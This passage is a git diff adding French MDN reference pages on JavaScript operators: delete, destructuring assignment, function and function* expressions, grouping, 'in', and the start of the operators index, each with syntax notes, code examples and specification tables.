+// qui peut être supprimée car configurable.
+delete adminName;       // renvoie true
+
+// En revanche empCount n'est pas configurable
+// car c'est var qui a été utilisée.
+delete empCount;        // renvoie false
+
+// delete peut être utilisé pour retirer des propriétés
+// d'objets
+delete EmployeeDetails.name; // renvoie true
+
+// Même lorsque la propriété n'existe pas,
+// l'opération renvoie "true"
+delete EmployeeDetails.salary; // renvoie true
+
+// delete n'a pas d'impact sur les propriétés
+// statiques natives
+delete Math.PI; // renvoie false
+
+// EmployeeDetails est une propriété de la portée globale
+// définie sans var, elle est donc configurable
+delete EmployeeDetails;   // renvoie true
+
+function f() {
+  var z = 44;
+
+  // delete n'a pas d'impact sur les noms
+  // des variables locales
+  delete z;     // returns false
+}
+
+ +

delete et la chaîne de prototypes

+ +

Dans l'exemple qui suit, on supprime une propriété directement rattachée à un objet (une propriété « propre ») alors qu'une propriété du même nom existe sur la chaîne de prototypes :

+ +
function Toto(){
+  this.truc = 10;
+}
+
+Toto.prototype.truc = 42;
+
+var toto = new Toto();
+
+// L'instruction suivante renvoie true,
+// après avoir effectivement supprimé
+// la propriété de l'objet toto
+delete toto.truc;
+
+// toto.truc est toujours disponible car
+// elle est disponible sur la chaîne de
+// prototypes
+console.log(toto.truc);
+
+// Ici on supprime la propriété du prototype
+delete Toto.prototype.truc;
+
+// On aura "undefined" dans la console
+// car l'objet n'hérite plus de cette propriété
+// qui a été supprimée
+console.log(toto.truc);
+ +

Supprimer les éléments d'un tableau

+ +

Lorsqu'on supprime un élément d'un tableau, la longueur du tableau n'est pas modifiée. Cela vaut également lorsqu'on supprime le dernier élément du tableau.

+ +

Lorsqu'on utilise delete pour retirer un élément du tableau, cet élément n'est plus dans le tableau. Dans l'exemple suivant, on retire arbres[3] grâce à delete.

+ +
var arbres = ["cèdre","pin","chêne","érable","sapin"];
+delete arbres[3];
+if (3 in arbres) {
+    // Le code ici ne sera pas exécuté
+}
+ +

Si on veut conserver l'existence d'un élément du tableau avec une valeur indéfinie, on pourra affecter la valeur undefined à cet élément. Ainsi, contrairement à l'exemple précédent, en utilisant undefined, arbres[3] continue d'être présent :

+ +
var arbres = ["cèdre","pin","chêne","érable","sapin"];
+arbres[3] = undefined;
+if (3 in arbres) {
+  // Le code ici sera bien exécuté
+}
+ +

Si on souhaite plutôt retirer un élément du tableau en changeant le contenu du tableau, on pourra utiliser la méthode {{jsxref("Array.splice()")}}. Dans l'exemple qui suit, la valeur actuelle de arbres[3] est retirée du tableau grâce à splice() mais l'index suivant se décale et arbres[4] devient arbres[3] :

+ +
var arbres = ["cèdre","pin","chêne","érable","sapin"];
+if (3 in arbres) {
+ // Le code ici sera exécuté
+}
+arbres.splice(3, 1);
+console.log(arbres); // ["cèdre","pin","chêne","sapin"];
+if (3 in arbres) {
+ // Le code ici sera également exécuté
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-delete-operator', 'The delete Operator')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-delete-operator', 'The delete Operator')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-11.4.1', 'The delete Operator')}}{{Spec2('ES5.1')}}
{{SpecName('ES1', '#sec-11.4.1', 'The delete Operator')}}{{Spec2('ES1')}}Définition initiale. Implémenté avec JavaScript 1.2.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.delete")}}

+ +

Notes de compatibilité

+ +

Bien que l'ordre d'itération des objets soit laissé à l'implémentation selon le standard ECMAScript, il semblerait que la plupart des navigateurs utilise un ordre d'itération basé sur l'ordre d'ajout des propriétés (au moins pour les propriétés propres). Toutefois, pour Internet Explorer, lorsqu'on utilise delete sur une propriété puis qu'on redéfinit plus tard une propriété avec le même nom, l'ordre d'itération de cette propriété sera le même que précédemment (alors que dans les autres navigateurs, cette « nouvelle » propriété sera parcourue en dernier).

+ +

Aussi, si on veut simuler un tableau associatif ordonné de façon transparente et pour plusieurs navigateurs, il faudra utiliser deux tableaux ou, mieux encore, un objet {{jsxref("Map")}} si celui-ci est disponible.

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/destructuring_assignment/index.html b/files/fr/web/javascript/reference/operators/destructuring_assignment/index.html new file mode 100644 index 0000000000..cdce16f559 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/destructuring_assignment/index.html @@ -0,0 +1,424 @@ +--- +title: Affecter par décomposition +slug: Web/JavaScript/Reference/Opérateurs/Affecter_par_décomposition +tags: + - ECMAScript 2015 + - JavaScript + - Opérateur + - Reference +translation_of: Web/JavaScript/Reference/Operators/Destructuring_assignment +--- +
{{jsSidebar("Operators")}}
+ +

L'affectation par décomposition (destructuring en anglais) est une expression JavaScript qui permet d'extraire (unpack en anglais) des données d'un tableau ou d'un objet grâce à une syntaxe dont la forme ressemble à la structure du tableau ou de l'objet.

+ +
{{EmbedInteractiveExample("pages/js/expressions-destructuringassignment.html")}}
+ + + +

Syntaxe

+ +
let a, b, rest;
+[a, b] = [10, 20];
+console.log(a); // 10
+console.log(b); // 20
+
+[a, b, ...rest] = [10, 20, 30, 40, 50];
+console.log(a); // 10
+console.log(b); // 20
+console.log(rest); // [30, 40, 50]
+
+({a, b} = {a: 10, b: 20});
+console.log(a); // 10
+console.log(b); // 20
+
+// Proposition de syntaxe (niveau 4)
+({a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40});
+console.log(a); // 10
+console.log(b); // 20
+console.log(rest); // {c: 30, d: 40}
+
+ +
+

Note : {a, b} = {a:1, b:2} n'est pas syntaxiquement valide en tant que tel, en effet {a, b} est ici considéré comme un bloc et non comme un objet littéral.

+ +

Cependant, ({a, b} = {a:1, b:2}) sera valide comme pour la forme let {a, b} = {a:1, b:2}.

+
+ +

Description

+ +

Ces expressions utilisant des littéraux pour les objets ou les tableaux permettent de créer simplement des données regroupées. Une fois créées, on peut les utiliser de n'importe quelle façon, y compris comme valeur renvoyée par une fonction.

+ +
const x = [1, 2, 3, 4, 5]; // On crée un "paquet" de données
+const [y, z] = x; // On utilise l'affectation par décomposition
+console.log(y); // 1
+console.log(z); // 2
+
+ +

L'intérêt de l'assignation par décomposition est de pouvoir lire une structure entière en une seule instruction. Il y a également d'autres choses que vous pouvez faire avec cette expression, comme montré dans les exemples ci-dessous.

+ +

Cette syntaxe est semblable aux fonctionnalités offertes par des langages tels que Perl et Python.

+ +

Décomposition d'un tableau

+ +

Exemple simple

+ +
const toto = ["un", "deux", "trois"];
+
+// sans utiliser la décomposition
+const un    = toto[0];
+const deux  = toto[1];
+const trois = toto[2];
+
+// en utilisant la décomposition
+const [un, deux, trois] = toto;
+ +

Affectation sans déclaration

+ +

L'affectation par décomposition peut être effectuée sans qu'il y ait de déclaration directement dans l'instruction d'affectation. Par exemple :

+ +
let a, b;
+[a, b] = [1, 2];
+console.log(a);  // 1
+console.log(b);  // 2
+ +

Valeurs par défaut

+ +

On peut définir une valeur par défaut au cas où la valeur extraite du tableau soit {{jsxref("undefined")}}. Par exemple :

+ +
let a, b;
+
+[a = 5, b = 7] = [1];
+console.log(a); // 1
+console.log(b); // 7
+
+ +

Échange de variables

+ +

Une fois le fragment de code exécuté, on aura b égal à 1 et a égal à 3. S'il n'avait pas été possible d'utiliser l'affectation par décomposition, l'échange des valeurs aurait nécessité une variable temporaire (pour des données binaires, on aurait pu utiliser une permutation XOR).

+ +
let a = 1;
+let b = 3;
+
+[a, b] = [b, a];
+console.log(a); // 3
+console.log(b); // 1
+ +

Renvoyer plusieurs valeurs

+ +

Grâce à l'affectation par décomposition, les fonctions peuvent renvoyer plusieurs valeurs. Il était déjà possible de renvoyer un tableau mais cela ajoute un nouveau degré de flexibilité.

+ +
function f() {
+  return [1, 2];
+}
+
+ +

Les valeurs de retour sont déclarées via une syntaxe semblable à celle utilisée pour déclarer les tableaux, utilisant les crochets. On peut ainsi renvoyer autant de valeurs que souhaité. Dans cet exemple, f() renvoie les valeurs [1, 2].

+ +
let a, b;
+[a, b] = f();
+console.log("A vaut " + a + " B vaut " + b);
+
+ +

L'instruction [a, b] = f() assigne, dans l'ordre, les résultats de la fonction aux variables représentées entre les crochets. Ainsi, ici a vaut 1 et b vaut 2.

+ +

On peut également récupérer la valeur de retour comme un tableau :

+ +
const x = f();
+console.log("X vaut " + x);
+
+ +

Et on aura x qui sera égal au tableau contenant 1 et 2.

+ +

Ignorer certaines valeurs

+ +

On peut également ignorer certaines des valeurs renvoyées qu'on ne souhaiterait pas traiter :

+ +
function f() {
+  return [1, 2, 3];
+}
+
+const [a, , b] = f();
+console.log("A vaut " + a + " B vaut " + b);
+
+ +

Après avoir exécuté ce code, on aura a égal à 1 et b égal à 3. La valeur 2 est ignorée. On peut ignorer n'importe laquelle des valeurs (voire toutes). Par exemple :

+ +
[,,] = f();
+
+ +

Exploiter les résultats d'une expression rationnelle

+ +

Lorsque la méthode exec(), liées aux expressions rationnelles, trouve une correspondance, elle renvoie un tableau qui contient d'abord la partie complète de la chaîne qui correspond puis ensuite les différentes portions correspondant aux différents groupes. L'affectation par décomposition permet de filtrer simplement les valeurs qu'on souhaite exploiter. Ici, on ignore le premier élément qui est la correspondance complète :

+ +
function parseProtocol(url) {
+  const parsedURL = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url);
+  if (!parsedURL) {
+    return false;
+  }
+  console.log(parsedURL); // ["https://developer.mozilla.org/fr/Web/JavaScript", "https", "developer.mozilla.org", "fr/Web/JavaScript"]
+
+  const [, protocol, fullhost, fullpath] = parsedURL;
+  return protocol;
+}
+
+console.log(parseProtocol('https://developer.mozilla.org/en-US/Web/JavaScript')); // "https"
+
+ +

Affecter le reste d'un tableau à une variable

+ +

On peut également utiliser la décomposition d'un tableau afin d'en affecter une partie à une variable :

+ +
const [a, ...b] = [1, 2, 3];
+console.log(a); // 1
+console.log(b); // [2, 3]
+ +

Un exception {{jsxref("SyntaxError")}} sera levée si une virgule est laissée à la fin de l'élément du reste du tableau de gauche :

+ +
const [a, ...b,] = [1, 2, 3]
+// SyntaxError : un élément du reste ne peut pas avoir
+//               de virgule à la fin
+ +

Décomposer un objet

+ +

Exemple simple

+ +
const o = {p: 42, q: true};
+const {p, q} = o;
+
+console.log(p); // 42
+console.log(q); // true
+
+// Assign new variable names
+const {p: toto, q: truc} = o;
+
+console.log(toto); // 42
+console.log(truc); // true
+
+ +

Affectation sans déclaration

+ +

Il est possible d'effectuer une affectation par décomposition même si aucune déclaration n'est directement utilisée dans l'instruction d'affectation. Par exemple :

+ +
let a, b;
+({a, b} = {a:1, b:2});
+
+ +
+

Note : Les parenthèses ( ... ) utilisées autour de l'instruction sont nécessaires pour que la partie gauche soit bien interprétée comme un objet littéral et non comme un bloc. Il est également nécessaire d'avoir un point-virgule avant les parenthèses de l'instruction car sinon, ces parenthèses peuvent être interprétées comme un appel de fonction.

+
+ +

Affecter avec un nom différent

+ +

Lorsqu'on décompose un objet, on peut affecter la variable obtenue sur une variable qui possède un autre nom (que celui de la propriété) :

+ +
const o = {p: 42, q: true};
+const {p: toto, q: truc} = o;
+
+console.log(toto); // 42
+console.log(truc); // true
+ +

Ici, par exemple, const {p: toto} = o prend la propriété p de l'objet o pour l'affecter à une variable locale intitulée toto.

+ +

Valeurs par défaut

+ +

Une variable peut recevoir une valeur par défaut lors de la décomposition si la propriété correspondante de l'objet vaut undefined.

+ +
const {a = 10; b = 5} = {a: 3};
+
+console.log(a); // 3
+console.log(b); // 5
+ +

Affecter de nouveaux noms aux variables et fournir des valeurs par défaut

+ +

Il est possible d'extraitre une valeur d'un objet pour lui affecter un nouveau nom et lui affecter une valeur par défaut au cas où la valeur extraite vaut undefined.

+ +
const {a: aa = 10, b: bb = 5} = {a: 3};
+
+console.log(aa); // 3
+console.log(bb); // 5
+ +

Arguments par défaut d'une fonction

+ +

Version ES5

+ +
function dessinGrapheES5(options) {
+  options = options === undefined ? {} : options;
+  var size = options.size === undefined ? 'big' : options.size;
+  var coords = options.coords === undefined ? { x: 0, y: 0 } : options.coords;
+  var radius = options.radius === undefined ? 25 : options.radius;
+  console.log(size, coords, radius);
+  // seulement ensuite on dessine le graphe
+}
+
+dessinGrapheES5({
+  coords: { x: 18, y: 30 },
+  radius: 30
+});
+ +

Version ES2015

+ +
function dessinGrapheES2015({size = 'big', coords = { x: 0, y: 0 }, radius = 25} = {})
+{
+  console.log(size, coords, radius);
+  // on dessine le graphe
+}
+
+dessinGrapheES2015({
+  coords: { x: 18, y: 30 },
+  radius: 30
+});
+ +
+

Note : Dans la signature de la fonction dessinGrapheES2015 ci avant, la valeur décomposée à gauche utilise un objet vide comme opérande droit ({size = 'big', coords = { x: 0, y: 0 }, radius = 25} = {}). On aurait également pu écrire la fonction sans cet objet vide mais, dans ce cas, il aurait fallu au moins un argument pour utiliser la fonction. Avec cette « forme », dessinGrapheES2015() pourra être appelée sans paramètre.

+
+ +

Décomposition imbriquée avec objets et tableaux

+ +
const metadata = {
+    title: "Scratchpad",
+    translations: [
+       {
+        locale: "de",
+        localization_tags: [ ],
+        last_edit: "2014-04-14T08:43:37",
+        url: "/de/docs/Tools/Scratchpad",
+        title: "JavaScript-Umgebung"
+       }
+    ],
+    url: "/en-US/docs/Tools/Scratchpad"
+};
+
+let { title: englishTitle, translations: [{ title: localeTitle }] } = metadata;
+
+console.log(englishTitle); // "Scratchpad"
+console.log(localeTitle);  // "JavaScript-Umgebung"
+ +

Décomposition et utilisation de for of

+ +
const personnes = [
+  {
+    nom: "Alain Dupont",
+    famille: {
+      mere: "Isabelle Dupont",
+      pere: "Jean Dupont",
+      soeur: "Laure Dupont"
+    },
+    age: 35
+  },
+  {
+    nom: "Luc Marchetoile",
+    famille: {
+      mere: "Patricia Marchetoile",
+      pere: "Antonin Marchetoile",
+      frere: "Yann Marchetoile"
+    },
+    age: 25
+  }
+];
+
+for (const {nom: n, famille: { pere: f } } of personnes) {
+  console.log("Nom : " + n + ", Père : " + f);
+}
+
+// "Nom : Alain Dupont, Père : Jean Dupont"
+// "Nom : Luc Marchetoile, Père : Antonin Marchetoile"
+ +

Décomposer les propriétés d'objets passés en arguments

+ +
const user = {
+  id: 42,
+  displayName: "jbiche",
+  fullName: {
+    firstName: "Jean",
+    lastName: "Biche"
+  }
+};
+
+function userId({id}) {
+  return id;
+}
+
+function whois({displayName: displayName, fullName: {firstName: name}}){
+  console.log(displayName + " est " + name);
+}
+
+console.log("userId: " + userId(user)); w// "userId: 42"
+whois(user); // "jbiche est Jean"
+ +

Cela permet d'accéder directement à id, displayName et firstName depuis l'objet user.

+ +

Les noms de propriétés calculés et la décomposition

+ +

Il est possible d'utiliser des noms de propriétés calculés, comme avec les littéraux objets, avec la décomposition.

+ +
let clef = "z";
+let { [clef]: toto } = { z: "truc" };
+
+console.log(toto); // "truc"
+ +

Syntaxe du « reste » et décomposition d'un objet

+ +

La proposition de décomposition des propriétés et de la syntaxe du reste dans ECMAScript ajoute la syntaxe du reste pour la décomposition. La propriété du reste permet de collecter les propriétés énumérables restantes qui n'auraient pas été extraites par la décomposition :

+ +
let {a, b, ...reste } = {a: 10, b: 20, c: 30, d: 40};
+a; // 10
+b; // 20
+reste; // { c: 30, d: 40 }
+ +

Gestion des identifiants invalides comme noms de propriétés

+ +

Si besoin, on peut également utiliser la décomposition pour fournir un alias à des noms de propriétés qui ne seraient pas des identifiants valides. Par exemple :

+ +
const toto = {'truc-bidule': true}
+const {'truc-bidule': trucBidule } = toto;
+
+console.log(trucBidule);  // "true"
+ +

Combiner la décomposition de tableaux et d'objets

+ +

Il est possible de décomposer un tableau et un objet simultanément. Dans l'exemple qui suit, on accède ainsi à la propriété nom du troisième élément du tableau props:

+ +
const props = [
+  { id: 1, nom: "Toto"},
+  { id: 2, nom: "Truc"},
+  { id: 3, nom: "Bidule"}
+];
+
+const [,, {nom}] = props;
+console.log(nom); // Bidule
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-destructuring-assignment', 'Destructuring assignment')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-destructuring-assignment', 'Destructuring assignment')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.destructuring")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/function/index.html b/files/fr/web/javascript/reference/operators/function/index.html new file mode 100644 index 0000000000..bff2848ad7 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/function/index.html @@ -0,0 +1,163 @@ +--- +title: L'opérateur function +slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_function +tags: + - Function + - JavaScript + - Operator + - Reference +translation_of: Web/JavaScript/Reference/Operators/function +--- +
{{jsSidebar("Operators")}}
+ +

Le mot-clé function permet de définir une fonction à l'intérieur d'une expression.

+ +
+

Note : Il est également possible de définir des fonctions grâce au constructeur Function et aux déclarations de fonction.

+
+ +
{{EmbedInteractiveExample("pages/js/expressions-functionexpression.html")}}
+ + + +

Syntaxe

+ +
function [nom]([param1[, param2[, ..., paramN]]]) {
+   instructions
+}
+ +

Paramètres

+ +
+
nom
+
Le nom de la fonction. Peut être omis, auquel cas on parlera d'une fonction anonyme.
+
+ +
+
paramN
+
Le nom d'un paramètre à passer à la fonction.
+
+ +
+
instructions
+
Les instructions constituant le corps de la fonction.
+
+ +
+

Note : À partir d'ES2015/ES6, on peut également former des expressions de fonction avec des fonctions fléchées.

+
+ +

Description

+ +

Une expression de fonction est très similaire et a presque la même syntaxe qu'une déclaration de fonction (consultez la page sur l'instruction function pour plus de détails). La différence principale entre une expression de fonction et une instruction est le nom de la fonction. En effet, pour les expressions, celui peut être omis (on parle alors d'une fonction anonyme). Consultez l'article Fonctions pour des informations concernant les différences entre les instructions de fonctions et les expressions de fonctions. Une fonction peut être appelée immédiatement après sa définition (on parle alors de fonction invoquée immédiatement ou IIFE pour Immediately Invoked Function Expression en anglais).

+ +

Remontée (hoisting) des expressions de fonction

+ +

En JavaScript, les expressions de fonction ne sont pas remontées (à la différence des déclarations de fonction). Il est donc impossible d'utiliser les expressions de fonction avant leur définition :

+ +
nonRemontée(); // TypeError: nonRemontée is not a function
+
+var nonRemontée = function() {
+  console.log("truc");
+}
+
+ +

Exemples

+ +

L'exemple qui suit définit une fonction anonyme et l'assigne à une variable x. La fonction renvoie le carré de son paramètre :

+ +
var x = function(y) {
+   return y * y;
+};
+
+ +

Expression nommée

+ +

Si on souhaite faire référence à une fonction au sein du corps de la fonction, il faudra créer une expression de fonction nommée. Le nom sera alors local au corps de la fonction (portée). Cela permet entre autres d'éviter d'utiliser la propriété non-standard arguments.callee.

+ +
var math = {
+  'factorielle': function factorielle(n) {
+    if (n <= 1) {
+      return 1;
+    }
+    return n * factorielle(n - 1);
+  }
+};
+ +

La variable affectée à l'expression de fonction aura une propriété name. Ce nom n'est pas modifié si la variable est réaffectée. Si le nom de la fonction est absent, ce sera celui de la variable (nom « implicite »). Cela vaut également pour les fonctions fléchées :

+ +
var toto = function() {};
+console.log(toto.name); // "toto"
+
+var toto2 = toto;
+console.log(toto2.name); // "toto"
+
+var truc = function machin() {}
+console.log(truc.name); // "machin"
+
+ +

IIFE pour Immediately Invoked Function Expression ou expression de fonction immédiatement appelée

+ +

On peut utiliser une expression de fonction pour créer une « IIFE », c'est-à-dire une expression de fonction qu'on appelle dès sa définition :

+ +
var a = "coucou";
+var b = "monde";
+
+// IIFE
+(function(x, y) {
+  console.log(x + " " + y);
+})(a, b);
+// coucou monde
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-function-definitions', 'Définitions de fonction')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-13', 'Définitions de fonction')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-13', 'Définitions de fonction')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.5.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.function")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/function_star_/index.html b/files/fr/web/javascript/reference/operators/function_star_/index.html new file mode 100644 index 0000000000..8fa8fa1a4e --- /dev/null +++ b/files/fr/web/javascript/reference/operators/function_star_/index.html @@ -0,0 +1,91 @@ +--- +title: Expression function* +slug: Web/JavaScript/Reference/Opérateurs/function* +tags: + - ECMAScript 2015 + - Function + - Iterator + - JavaScript + - Operator + - Reference +translation_of: Web/JavaScript/Reference/Operators/function* +--- +
{{jsSidebar("Operators")}}
+ +

Le mot-clé function* peut être utilisé pour définir une fonction génératrice à l'intérieur d'une expression.

+ +
{{EmbedInteractiveExample("pages/js/expressions-functionasteriskexpression.html")}}
+ + + +

Syntaxe

+ +
function* [nom]([param1[, param2[, ..., paramN]]]) {
+   instructions
+}
+ +

Paramètres

+ +
+
nom
+
Le nom de la fonction. Ce paramètre est optionnel, auquel cas la fonction sera une fonction anonyme. Le nom sera local par rapport au corps de la fonction.
+
paramN
+
Le nom d'un argument à passer à la fonction. Une fonction peut avoir jusqu'à 255 arguments.
+
instructions
+
Les instructions qui forment le corps de la fonction.
+
+ +

Description

+ +

Une expression function* est très semblable à une instruction {{jsxref('Instructions/function*', 'function*')}}, elle possède également une syntaxe similaire. La différence principale entre une expression function* et une instruction function* est le nom de la fonction. En effet, dans les expressions, le nom peut être omis pour créer une fonction génératrice anonyme. Voir également le chapitre sur les fonctions pour plus d'informations.

+ +

Exemples

+ +

L'exemple qui suit illustre comment définir une génératrice anonyme et l'affecter à une variable x. Cette fonction génèrera le carré de son argument :

+ +
var x = function*(y) {
+   yield y * y;
+};
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-generator-function-definitions', 'function*')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-generator-function-definitions', 'function*')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.function_star")}}

+ +

Voir aussi

+ +
    +
  • L'instruction {{jsxref("Instructions/function*", "function*")}}
    • +
  • L'objet {{jsxref("GeneratorFunction")}}
    • +
  • Le protocole itérateur
    • +
  • {{jsxref("Opérateurs/yield", "yield")}}
    • +
  • {{jsxref("Opérateurs/yield*", "yield*")}}
    • +
  • L'objet {{jsxref("Function")}}
    • +
  • L'instruction {{jsxref("Instructions/function", "function")}}
    • +
  • L'expression {{jsxref("Opérateurs/L_opérateur_function", "function")}}
    • +
  • {{jsxref("Fonctions", "Fonctions et portée des fonctions","","1")}}
    • +
diff --git a/files/fr/web/javascript/reference/operators/grouping/index.html b/files/fr/web/javascript/reference/operators/grouping/index.html new file mode 100644 index 0000000000..07292088cd --- /dev/null +++ b/files/fr/web/javascript/reference/operators/grouping/index.html @@ -0,0 +1,91 @@ +--- +title: Opérateur de groupement +slug: Web/JavaScript/Reference/Opérateurs/Groupement +tags: + - JavaScript + - Operator + - Primary Expressions +translation_of: Web/JavaScript/Reference/Operators/Grouping +--- +
{{jsSidebar("Operators")}}
+ +

L'opérateur de groupement ( ) contrôle la précédence de l'évaluation dans les expressions.

+ +
{{EmbedInteractiveExample("pages/js/expressions-groupingoperator.html")}}
+ + + +

Syntaxe

+ +
 ( )
+ +

Description

+ +

L'opérateur de groupement consiste en une paire de parenthèses encadrant une expression et permettant de surcharger la précédence normale des opérateurs afin que les expressions dont la précédence est plus basse soient évaluées avant.

+ +

Exemples

+ +

Normalement, la multiplication et la division sont prises en compte avant l'addition et la soustraction. On peut changer ce comportement avec l'opérateur de groupement.

+ +
var a = 1;
+var b = 2;
+var c = 3;
+
+// précédence normale
+a + b * c     // 7
+// l'évaluation est effectuée de cette façon
+a + (b * c)   // 7
+
+// précédence surchargée avec le groupement
+// on additionne avant de multiplier
+(a + b) * c   // 9
+
+// mathématiquement, cela est équivalent à
+a * c + b * c // 9
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-grouping-operator', 'The Grouping Operator')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-grouping-operator', 'L\'opérateur de groupement')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-11.1.6', 'L\'opérateur de groupement')}}{{Spec2('ES5.1')}} 
{{SpecName('ES1', '#sec-11.1.4','L\'opérateur de groupement')}}{{Spec2('ES1')}}Définition initiale, implémentée avec JavaScript 1.0.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.grouping")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/in/index.html b/files/fr/web/javascript/reference/operators/in/index.html new file mode 100644 index 0000000000..53c02fb41c --- /dev/null +++ b/files/fr/web/javascript/reference/operators/in/index.html @@ -0,0 +1,145 @@ +--- +title: L'opérateur in +slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_in +tags: + - JavaScript + - Operator + - Reference +translation_of: Web/JavaScript/Reference/Operators/in +--- +
{{jsSidebar("Operators")}}
+ +

L'opérateur in renvoie true si une propriété donnée appartient à l'objet donné (directement ou via sa chaîne de prototype).

+ +
{{EmbedInteractiveExample("pages/js/expressions-inoperator.html")}}
+ + + +

Syntaxe

+ +
propriété in nomObjet
+
+ +

Paramètres

+ +
+
propriété
+
Une expression évaluée en un nombre ou une chaîne de caractères qui représente le nom d'une propriété ou l'indice d'un tableau.
+
+ +
+
nomObjet
+
Le nom de l'objet qu'on souhaite inspecter.
+
+ +

Description

+ +

Les exemples suivants illustrent certaines utilisation de l'opérateur in.

+ +
// Tableaux
+var arbres = ["sapin", "hêtre", "cèdre", "chêne", "érable"];
+0 in arbres        // renvoie true
+3 in arbres        // renvoie true
+6 in arbres        // renvoie false
+"hêtre" in arbres  // renvoie false (l'indice doit être spécifié, pas la valeur à cet indice)
+"length" in arbres // renvoie true (length est une propriété des objets Array)
+Symbol.iterator in arbres // renvoie true (les tableaux sont itérables, à partir d'ES6)
+
+// Objets prédéfinis
+"PI" in Math           // renvoie true
+var ma_chaine = new String("corail");
+"length" in ma_chaine  // renvoie true
+
+// Objets personnalisés
+var voiture = {marque : "Honda", modèle : "Accord", année : 1998};
+"marque" in voiture  // renvoie true
+"modèle" in voiture  // renvoie true
+"marque" in voiture // renvoie true
+"Accord" in voiture // renvoie false
+
+ +

L'opérande droit doit toujours être du type objet (et pas un autre type primitif). Par exemple, on peut utiliser une  chaîne créée avec le constructeur String, mais pas une chaîne littérale.

+ +
var couleur1 = new String("vert");
+"length" in couleur1 // renvoie true
+var couleur2 = "corail";
+"length" in couleur2 // génère une erreur (couleur n'est pas un objet String)
+
+ +

Utilisation de l'opérateur in avec des propriétés supprimées ou indéfinies

+ +

Si une propriété est supprimée avec l'opérateur delete, l'opérateur in renvoie false pour cette propriété.

+ +
var voiture = {marque : "Honda", modèle : "Accord", année : 1998};
+delete voiture.marque;
+"marque" in voiture  // renvoie false
+
+var arbres = new Array("sapin", "hêtre", "cèdre", "chêne", "érable");
+delete arbres[3];
+3 in arbres // renvoie false
+
+ +

Si une propriété est définie à {{jsxref("Objets_globaux/undefined", "undefined")}} mais n'est pas supprimée, l'opérateur in renverra true pour cette propriété.

+ +
var voiture = {marque : "Honda", modèle : "Accord", année : 1998};
+voiture.marque = undefined;
+"marque" in voiture  // renvoie true
+
+var arbres = new Array("sapin", "hêtre", "cèdre", "chêne", "érable");
+arbres[3] = undefined;
+3 in arbres // renvoie true
+
+ +

Propriétés héritées

+ +

L'opérateur in renvoie true pour les propriétés qui appartiennent à la chaîne de prototypes. SI on souhaite la présence d'une propriété non-héritée, on utilisera plutôt {{jsxref("Object.prototype.hasOwnProperty()")}}.

+ +
"toString" in {}; // renvoie true
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}{{Spec2('ESDraft')}}
{{SpecName('ES2015', '#sec-relational-operators', 'Opérateurs relationnels')}}{{Spec2('ES2015')}}
{{SpecName('ES5.1', '#sec-11.8.7', 'Opérateur in')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-11.8.7', 'Opérateurs in')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.4.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.in")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/index.html b/files/fr/web/javascript/reference/operators/index.html new file mode 100644 index 0000000000..531baa29cc --- /dev/null +++ b/files/fr/web/javascript/reference/operators/index.html @@ -0,0 +1,302 @@ +--- +title: Opérateurs +slug: Web/JavaScript/Reference/Opérateurs +tags: + - JavaScript + - Opérateurs + - Reference +translation_of: Web/JavaScript/Reference/Operators +--- +
{{jsSidebar("Operators")}}
+ +

Ce chapitre documente l'ensemble des opérateurs, expressions et mots-clés utilisés en JavaScript.

+ +

Expressions et opérateurs, par catégorie

+ +

Pour une liste alphabétique, voir le volet de navigation situé à gauche sur cette page.

+ +

Expressions primaires

+ +

Les mots-clés basiques et les expressions générales en JavaScript.

+ +
+
{{jsxref("Opérateurs/L_opérateur_this", "this")}}
+
Le mot-clé this fait référence à une propriété spéciale du contexte d'exécution de la fonction.
+
{{jsxref("Opérateurs/L_opérateur_function", "function")}}
+
Le mot-clé function définit une expression de fonction.
+
{{jsxref("Opérateurs/class", "class")}}
+
